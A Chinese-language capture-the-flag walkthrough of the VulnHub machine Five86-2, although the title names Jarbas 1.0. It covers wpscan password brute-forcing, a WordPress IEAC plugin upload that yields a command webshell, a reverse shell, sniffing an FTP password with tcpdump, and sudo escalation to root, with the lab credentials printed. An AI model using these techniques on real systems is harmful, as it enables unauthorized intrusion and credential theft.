VulnHub滲透測試實戰靶場Jarbas 1.0
https://www.hetianlab.com/expc.do?ec=ECIDfe8c-5c48-41ae-be67-6728d2ae15b2&pk_campaign=weixin-wemedia
Jarbas1.0是一個難度為初級的Boot2root/CTF挑戰,實驗目的是獲取目標root shell得到flag。
上篇指路-Vulnhub靶機Five86-1詳細解析
靶機地址:http://www.vulnhub.com/entry/five86-2,418/
技術點總結
•對WordPress網站的滲透
–wpscan
•WordPress中IEAC插件的RCE漏洞
–WordPress插件IEAC漏洞分析及組合利用嘗試
•tcpdump的使用
–tcpdump使用詳解
目標發現
nmap -sP 參數使用 ping 掃描區域網主機,目的地址為 192.168.56.6
nmap -A 192.168.56.6 -p- 可以看到目標主機的一些信息,-A 是進行作業系統指紋和版本檢測,-p- 是全埠
開放了 22、21、80 埠,並且 80 埠是WordPress 5.1.4的CMS 這裡最好提前在/etc/hosts中加上192.168.56.6 five86-2這一條,因為後面訪問wordpress的後臺wp-admin時會跳轉到到這個域名
漏洞發現與利用
在searchsploit和Google並沒有發現WordPress 5.1.4的漏洞,可以用wpscan掃描一下這個URL。wpscan是一款針對WordPress的掃描器,詳細的使用可以參考WPScan使用完整攻略。
默認掃描會返回目標站點的中間件、XML-RPC、readme文件、上傳路徑、WP-Corn、版本、主題、所有的插件和備份文件。
命令wpscan -u http://192.168.56.6/
這裡並沒有發現很有用的信息,考慮去枚舉用戶名,然後配合rockyou.txt去爆破密碼。爆破用戶名命令wpscan --url http://192.168.56.6/ --enumerate u,發現了5個用戶
peter admin barney gillian stephen爆破密碼命令wpscan --url http://192.168.56.6/ -U user.txt -P /usr/share/wordlists/rockyou.txt
最終爆破出來兩個結果
Username: barney, Password: spooky1
Username: stephen, Password: apollo1使用barney登錄後臺http://five86-2/wp-admin/,可以看到這個站點安裝了三個插件,但是只激活了一個Insert or Embed Articulate Content into WordPress Trial(IEAC)
Akismet Anti-Spam Version 4.1.1
Hello Dolly Version 1.7.1
IEAC Version 4.2995在谷歌上搜索一下,不難搜到這個插件的RCE:WordPress插件IEAC漏洞分析及組合利用嘗試,在exploit-db上也有
先生成poc.zip,
echo "hello" > index.html
echo "" > index.php
zip poc.zip index.html index.php然後登錄wordpress後臺,選擇新建文章
選擇添加區塊
選擇E-Learning
上傳poc.zip
選擇Insert As iFrame
可以看到上傳的位置,也就是說上次的shell位置為
http://192.168.56.6/wp-content/uploads/articulate_uploads/poc/index.php
測試shellhttp://192.168.56.6/wp-content/uploads/articulate_uploads/poc/index.php?cmd=whoami這就拿到了shell
使用php-reverse-shell去反彈shell,訪問
http://192.168.56.6/wp-content/uploads/articulate_uploads/poc4/shell.php
就可以看到反彈的shell,還不是TTY,接下來就想辦法變成TTY吧
ls /home發現有8個目錄,剛剛爆破來兩個密碼,一個登陸了後臺,還有一個沒有測試,並且兩個都在這8個用戶裡面。可以先試試su barney,密碼填spooky1,發現失敗,再試試stephen,密碼apollo1。這裡的shell不知道為什麼沒有前面的$了,但是可以用
實際上,這裡的www-data可以直接使用python3 -c 'import pty;pty.spawn("/bin/bash")'變成TTY,這樣可能更方便一些
然後再sudo -l發現需要密碼,並且不是spooky1,所以還是su stephen吧,發現stephen在一個名為pcap的用戶組中(pcap不是流量包嗎^_^)
然後sudo -l發現無法執行sudo
回到pcap那裡,流量包是不是意味著流量分析,嘗試ifconfig發現沒有這個命令,但是可以使用ip add,發現目前運行著幾個網絡接口
這裡的最後一個接口好像是動態的,每次都不一樣,可以使用tcpdump -D列出可用於抓包的接口。這裡選擇把後面兩個抓下來,因為不怎麼常見。抓包命令為timeout 120 tcpdump -w 1.pcap -i veth2c37c59,其中timeout 120是指2分鐘,-w是將結果輸出到文件,-i是指定監聽埠
可以去分析一下這兩個流量包,命令tcpdump -r 1.pcap,這裡-r是從給定的流量包讀取數據,不難發現paul用戶FTP的密碼esomepasswford。後面2.pcap與1.pcap內容相同。
接著su paul,用上面的那個密碼發現可以登陸。嘗試sudo -l發現stephen可以使用peter的service命令
那不就可以直接執行peter的/bin/bash了嗎。命令sudo -u peter service /bin/bash。這裡要注意一下目錄的問題,用相對目錄找到/bin/bash的位置
獲取peter的權限後,還是先sudo -l,發現他可以運行root用戶的passwd命令,這我直接修改root的密碼不就獲取root權限了嗎
是時候表演真正的技術了。sudo -u root passwd root(強迫症,全文一致),用sudo passwd root一樣的
找到flag
歡迎投稿至郵箱:EDU@antvsion.com
有才能的你快來投稿吧!